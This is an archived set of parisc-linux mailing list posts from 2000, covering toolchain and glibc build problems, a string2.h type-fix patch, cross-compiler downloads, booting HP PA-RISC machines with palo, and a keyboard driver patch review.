Xref: news.gmane.org gmane.linux.ports.parisc:8226

Grant Grundler <grundler@cup.hp.com> writes:

> After RTFMing for a bit, I still think __FUNCTION__ is b0rken.
> Maybe I'm doing something else stupid that's obvious to you.

I don't know what kind of problem you are seeing.  It certainly works
for me on x86, Arm, PPC.  It's used in the implementation of assert()
so it better should be.  Maybe the compiler branch you are using is
cut at an unfortunate moment when the people who are rewriting the
preprocessor broke something.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Thu, 26 Oct 2000 16:21:32 -0400 (EDT)
Lines: 51
Approved: news@gmane.org
Message-ID: <200010262021.QAA09667@hiauly1.hia.nrc.ca>
References: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619218 5099 80.91.229.3 (22 Nov 2014 01:20:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:18 +0000 (UTC)
Cc: alan@linuxcare.com.au, parisc-linux@thepuffingroup.com
To: kailasr@webcash.com (Kailashnath V Rampure)
Original-X-From: dave@hiauly1.hia.nrc.ca  Thu Oct 26 14:20:15 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA00755
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 14:20:14 -0600
Original-Received: (qmail 19872 invoked by uid 15267); 26 Oct 2000 20:21:47 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19830 invoked from network); 26 Oct 2000 20:21:45 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 20:21:45 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA09667;
	Thu, 26 Oct 2000 16:21:32 -0400 (EDT)
In-Reply-To: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> from "Kailashnath V Rampure" at Oct 26, 2000 12:56:47 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8227

> I did upgrade to latest glibc from the cvs and tried I still get the same 
> error. Actually I restarted from scratch starting from binutils. I have 
> seen some warning while I built gcc. The smallpart of gcc warnings are as 
> follows:
> 
> Gcc warnings:
> 
> prototypes -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. 
> -I/opt/hp/gcc/gcc -I/opt/hp/gcc/gcc/config -I/opt/hp/gcc/gcc/../include 
> /opt/hp/gcc/gcc/explow.c
> /usr/include/bits/string2.h: In function `__stpcpy_small':
> In file included from /usr/include/string.h:346,
>                   from /opt/hp/gcc/gcc/system.h:176,
>                   from /opt/hp/gcc/gcc/explow.c:24:
> /usr/include/bits/string2.h:611: warning: pointer targets in return differ 
> in signedness

I think the enclosed patch to bits/string2.h may fix your gcc warnings.
Doubt this is your real problem.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2000-09-22  J. David Anglin  <dave@hiauly1.hia.nrc.ca>

	* string.h (__stpcpy_small): Correct return type.
	(strnlen): Correct return type in conditional expression.

--- string2.h.orig	Tue Sep  5 08:22:56 2000
+++ string2.h	Fri Sep 22 15:22:27 2000
@@ -608,7 +608,7 @@
       __u = __extension__ ((void *) __u + 3);
       break;
     }
-  return &__u->__uc;
+  return (char *) __u;
 }
 #  else
 #  define __stpcpy_args(src) \
@@ -1025,7 +1025,7 @@
 strnlen (__const char *__string, size_t __maxlen)
 {
   __const char *__end = (__const char *) memchr (__string, '\0', __maxlen);
-  return __end ? __end - __string : __maxlen;
+  return __end ? (size_t) (__end - __string) : __maxlen;
 }
 # endif
 #endif


From - Thu Nov 08 21:13:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross-compiler available
Date: Thu, 26 Oct 2000 15:16:08 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20001026211608.2F4D238137@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619219 5101 80.91.229.3 (22 Nov 2014 01:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:19 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Thu Oct 26 15:12:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA01814
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 15:12:49 -0600
Original-Received: (qmail 7458 invoked by uid 15267); 26 Oct 2000 21:14:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7443 invoked from network); 26 Oct 2000 21:14:22 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 21:14:22 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP id 1059A415
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Oct 2000 17:14:22 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 2F4D238137
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Oct 2000 15:16:08 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
Xref: news.gmane.org gmane.linux.ports.parisc:8228

I have placed a new x86/Linux -> hppa/Linux cross-compiler at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20001026.tar.gz

It contains 32/64bit compilers/binutils and a 32bit glibc. Untar it in /, it 
lives in /opt/palinux.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Thu, 26 Oct 2000 15:16:59 -0600
Lines: 31
Approved: news@gmane.org
Message-ID: <20001026211700.EE22A38137@carmen.fc.hp.com>
References: <5.0.0.25.0.20001025173830.00a64a30@mail.webcash.com>  
 <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619219 5104 80.91.229.3 (22 Nov 2014 01:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:19 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>, parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: taggart@carmen.fc.hp.com  Thu Oct 26 15:13:49 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA02084
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 15:13:48 -0600
Original-Received: (qmail 8825 invoked by uid 15267); 26 Oct 2000 21:15:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8701 invoked from network); 26 Oct 2000 21:15:15 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 21:15:15 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP
	id E40B3A1D; Thu, 26 Oct 2000 17:15:14 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id EE22A38137; Thu, 26 Oct 2000 15:16:59 -0600 (MDT)
X-Mailer: exmh version 2.1.1 10/15/1999 (debian)
In-Reply-To: Message from Kailashnath V Rampure <kailasr@webcash.com> 
   of "Thu, 26 Oct 2000 12:56:47 PDT." <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8229


> I did upgrade to latest glibc from the cvs and tried I still get the same 
> error. Actually I restarted from scratch starting from binutils. I have 
> seen some warning while I built gcc. The smallpart of gcc warnings are as 
> follows:
[snip]
> /usr/include/bits/string2.h: In function `__stpcpy_small':
> In file included from /usr/include/string.h:346,
>                   from /opt/hp/gcc/gcc/system.h:176,
>                   from /opt/hp/gcc/gcc/explow.c:24:
> /usr/include/bits/string2.h:611: warning: pointer targets in return differ 

I don't think you want to be using the system includes. Perhaps you need to be 
using the --with-headers= option and point it at your include directory. You 
can get an include tarball from,

ftp://puffin.external.hp.com/pub/parisc/src/include-latest.tar.gz

Unless you really want to hack the toolchain I would recommend the prebuilt 
cross-compiler available at,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-latest.tar.gz

If you *do* want to hack the toolchain the build-tools cvs module has several 
scripts that can help you with building.

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 10:03:15 +1100 (EST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010270955420.1135-100000@front.linuxcare.com.au>
References: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619219 5108 80.91.229.3 (22 Nov 2014 01:20:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:19 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: alan@linuxcare.com.au  Thu Oct 26 17:01:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA03399
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 17:01:51 -0600
Original-Received: (qmail 13710 invoked by uid 15267); 26 Oct 2000 23:03:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13683 invoked from network); 26 Oct 2000 23:03:20 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 23:03:20 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA01497;
	Fri, 27 Oct 2000 10:03:15 +1100
In-Reply-To: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8230

On Thu, 26 Oct 2000, Kailashnath V Rampure wrote:

> I did upgrade to latest glibc from the cvs and tried I still get the same 
> error.

Did you upgrade from the CVS repository on puffin.external.hp.com?  Please
check glibc/csu/Makefile.  Starting at line 160, you should see

$(addprefix $(objpfx),$(filter-out $(start-installed-name),$(csu-dummies))):
	@-rm -f $(@:.o=.c)
	echo > $(@:.o=.c)
	$(COMPILE.c) $(@:.o=.c) $(OUTPUT_OPTION)
	rm -f $(@:.o=.c)

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] boot c3k from local scsi
Date: Thu, 26 Oct 2000 16:31:44 -0700 (PDT)
Lines: 42
Approved: news@gmane.org
Message-ID: <200010262331.QAA22881@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619220 5111 80.91.229.3 (22 Nov 2014 01:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Thu Oct 26 17:25:29 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04023
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 17:25:28 -0600
Original-Received: (qmail 6349 invoked by uid 15267); 26 Oct 2000 23:27:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6341 invoked from network); 26 Oct 2000 23:27:01 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 23:27:01 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id 9DDDFF44
	for <parisc-linux@thepuffingroup.com>; Thu, 26 Oct 2000 16:27:00 -0700 (PDT)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id QAA22881
	for parisc-linux@thepuffingroup.com; Thu, 26 Oct 2000 16:31:44 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:8231

Hi all,

I managed to setup/boot my c3k via NFS Root.
I'm using an add-on serial card as console since built-in serial
isn't working (yet).

Partitioning an 18GB disk was a problem. Both PALO and IODC have
limitations on where the PALO and boot filesystem partitions can reside.
Read the PALO docs at
	http://puffin.external.hp.com/cgi-bin/cvsview/palo/README.html
for details. It's a good, short, document.

Here's my resulting fdisk output:
Disk /dev/sda: 64 heads, 32 sectors, 17366 cylinders
Units = cylinders of 2048 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1             1        11     11248   f0  Unknown
/dev/sda2            12        32     21504   83  Linux
/dev/sda3            33       545    525312   82  Linux swap
/dev/sda4           546      4642   4195328   83  Linux


and /etc/fstab contents:
# <file system> <mount> <type>  <options>                       <dump> <pass>
/dev/sda4       /       ext2    defaults,errors=remount-ro      0       0
/dev/sda3       none    swap    sw                              0       0
/dev/sda2       /boot   ext2    defaults,errors=remount-ro      0       0
proc            /proc   proc    defaults                        0       0


Oh - the palo command I used to get this work might be good
to pass on too:
	# palo -I -k /tmp/vmlinux -b /boot/iplboot \
		-c '2/vmlinux TERM=linux HOME=/ root=/dev/sda4' \
		/dev/sda

(I had copied a more current vmlinux to my NFS root's /tmp dir)

enjoy!
grant


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christopher Beard <cjbeard@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Building the Bootstrap Code
Date: Sat, 17 Apr 1999 23:27:22 +0000 (   )
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9904172300080.27578-100000@sprite.osfi-bsif.gc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619220 5115 80.91.229.3 (22 Nov 2014 01:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:20 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: cjbeard@thepuffingroup.com  Sat Apr 17 19:25:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id TAA08894
	for <parisc-linux@sod.res.cmu.edu>; Sat, 17 Apr 1999 19:25:17 -0400
Original-Received: (qmail 14389 invoked by uid 15267); 17 Apr 1999 23:24:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14382 invoked from network); 17 Apr 1999 23:24:02 -0000
Original-Received: from hse-ott-ppp31326.sympatico.ca (HELO hobbit) (209.226.116.235)
  by mailserv2.iuinc.com with SMTP; 17 Apr 1999 23:24:02 -0000
X-Sender: cjbeard@sprite.osfi-bsif.gc.ca
Xref: news.gmane.org gmane.linux.ports.parisc:8232


There was confusion earlier, so, here's a quick and dirty method for
building the bootstrap code that Jason Eckardt distributed and which is
currently in CVS under ``linux/arch/parisc/boot''

You will need to build the ``ipl'' binary using gcc 2.8.1, binutils 2.9.1
and HP's linker under HP/UX as the cross-compiling tool chain is currently
broken.

  i_addr  = 4096   # constant
  i_size  = 45056  # size of the stripped ipl binary
  i_entry = 4096   # < i_size
  k_addr  = 49152  # i_size + 4096
  k_size  = 28672  # size of the dummy_kernel
  k_entry = 4096   # < k_size

  strip ipl
  ../boot_tools/mkipl ipl
  ../boot_tools/mklifhdr hdr $i_addr $i_size $i_entry $k_addr $k_size $k_entry
  cat hdr pad_file ipl vmlinux > bootstrap.bin

This will produce a viable LIF volume that you can write to media or bootp
from. Again, this is pretty nasty, and is very temporarily until we teach
it how to read file systems.

- Chris


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new PS/2 Keyboard Driver
Date: Fri, 27 Oct 2000 01:50:46 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <00102701504600.00370@P100>
References: <002a01c03f88$0a20d580$a832d793@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619220 5118 80.91.229.3 (22 Nov 2014 01:20:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:20 +0000 (UTC)
To: "Thomas Marteau" <marteaut@esiee.fr>, <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Thu Oct 26 17:49:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA04693
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 17:49:11 -0600
Original-Received: (qmail 31085 invoked by uid 15267); 26 Oct 2000 23:50:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31075 invoked from network); 26 Oct 2000 23:50:43 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 26 Oct 2000 23:50:43 -0000
Original-Received: (qmail 30402 invoked by uid 0); 26 Oct 2000 23:50:20 -0000
Original-Received: from r509.str.dial.surf-callino.de (HELO P100) (213.21.12.1)
  by mail.gmx.net with SMTP; 26 Oct 2000 23:50:20 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <002a01c03f88$0a20d580$a832d793@esiee.fr>
Xref: news.gmane.org gmane.linux.ports.parisc:8233

On Thursday 26 October 2000 22:05, Thomas Marteau wrote:

> > 
> Hello everyone,
> 
> We've just updated the PS/2 keyboard driver. The leds and interrupt
> functions work really well on a 712 workstation and also B132 now. The
> updated driver files are available on our website. It works better than
> under HP UX for the B 132 ;->
> 
> http://www.esiee.fr/~djoudim
> 
> The ESIEE Port Team in Paris.
> 
> Here is the patch:
> 
> diff -urN linux/drivers/char/gsc_ps2.c linux-parisc/drivers/char/gsc_ps2.c
> --- linux/drivers/char/gsc_ps2.c Thu Oct 26 21:06:54 2000
> +++ linux-parisc/drivers/char/gsc_ps2.c Thu Oct 26 21:34:00 2000
> @@ -7,6 +7,11 @@
>  [.............]

> diff -urN linux/drivers/char/keyb_at.c linux-parisc/drivers/char/keyb_at.c
> --- linux/drivers/char/keyb_at.c Thu Oct 26 21:07:00 2000
> +++ linux-parisc/drivers/char/keyb_at.c Thu Oct 26 21:23:16 2000
> [........]

Hi Thomas,

Thanks for your patch. 
But I don't think it's a good idea to change a common file like keyb_at.c, 
which is used in most other arches too. This patch surely breaks their 
keyboard support and more than that I'm sure, that Linus will not accept this 
patch, when the time is come to integrate parisc into the official kernel.

Isn't there any other solution as for example to #ifdef the code or create a 
new keyb_at.c for parisc (Yes I know, both of those aren't clean too.) ?

Helge Deller


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Thu, 26 Oct 2000 17:34:22 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001026173406.037ca150@mail.webcash.com>
References: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com> <Pine.LNX.4.21.0010270955420.1135-100000@front.linuxcare.co
 m.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416619221 5124 80.91.229.3 (22 Nov 2014 01:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: kailasr@webcash.com  Thu Oct 26 18:34:59 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06025
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 18:34:59 -0600
Original-Received: (qmail 11245 invoked by uid 15267); 27 Oct 2000 00:36:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11235 invoked from network); 27 Oct 2000 00:36:32 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 00:36:32 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9R0WOG99734;
	Thu, 26 Oct 2000 17:32:24 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
In-Reply-To: <Pine.LNX.4.21.0010270955420.1135-100000@front.linuxcare.co
 m.au>
Original-References: <5.0.0.25.0.20001026125217.00a43eb0@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8234

Yes the line is there.

At 10:03 AM 10/27/00 +1100, Alan Modra wrote:
>On Thu, 26 Oct 2000, Kailashnath V Rampure wrote:
>
> > I did upgrade to latest glibc from the cvs and tried I still get the same
> > error.
>
>Did you upgrade from the CVS repository on puffin.external.hp.com?  Please
>check glibc/csu/Makefile.  Starting at line 160, you should see
>
>$(addprefix $(objpfx),$(filter-out $(start-installed-name),$(csu-dummies))):
>         @-rm -f $(@:.o=.c)
>         echo > $(@:.o=.c)
>         $(COMPILE.c) $(@:.o=.c) $(OUTPUT_OPTION)
>         rm -f $(@:.o=.c)
>
>--
>Linuxcare.  Support for the Revolution.
>
>---------------------------------------------------------------------------
>To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
>`unsubscribe' as the subject.


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc problem
Date: Fri, 27 Oct 2000 11:44:46 +1100 (EST)
Lines: 12
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0010271141410.1135-100000@front.linuxcare.com.au>
References: <5.0.0.25.0.20001026173406.037ca150@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619221 5128 80.91.229.3 (22 Nov 2014 01:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: alan@linuxcare.com.au  Thu Oct 26 18:43:20 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA06586
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 18:43:19 -0600
Original-Received: (qmail 19643 invoked by uid 15267); 27 Oct 2000 00:44:52 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19622 invoked from network); 27 Oct 2000 00:44:51 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 00:44:51 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA03946;
	Fri, 27 Oct 2000 11:44:46 +1100
In-Reply-To: <5.0.0.25.0.20001026173406.037ca150@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8235

On Thu, 26 Oct 2000, Kailashnath V Rampure wrote:

> Yes the line is there.

OK, that should mean you no longer get zero length .c files created with
"cp /dev/null file"  Is that the case?  If you still see zero length files
in glibc/csu, then maybe that's because "make clean" didn't remove
them.  Just delete them.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:13:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kailashnath V Rampure <kailasr@webcash.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Make palo problem
Date: Thu, 26 Oct 2000 17:58:03 -0700
Lines: 79
Approved: news@gmane.org
Message-ID: <5.0.0.25.0.20001026163140.00aed760@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="=====================_23220339==_.ALT"
X-Trace: ger.gmane.org 1416619221 5134 80.91.229.3 (22 Nov 2014 01:20:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:21 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: taggart@carmen.fc.hp.com
Original-X-From: kailasr@webcash.com  Thu Oct 26 19:00:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA07221
	for <parisc-linux@puffin.external.hp.com>; Thu, 26 Oct 2000 19:00:52 -0600
Original-Received: (qmail 5023 invoked by uid 15267); 27 Oct 2000 01:01:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5011 invoked from network); 27 Oct 2000 01:01:40 -0000
Original-Received: from ns2.imedia.net (HELO galaxy-net.net) (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 27 Oct 2000 01:01:40 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by galaxy-net.net (8.10.2/8.9.3) with ESMTP id e9R0u5G01766;
	Thu, 26 Oct 2000 17:56:05 -0700 (PDT)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Xref: news.gmane.org gmane.linux.ports.parisc:8236

--=====================_23220339==_.ALT
Content-Type: text/plain; charset="us-ascii"; format=flowed


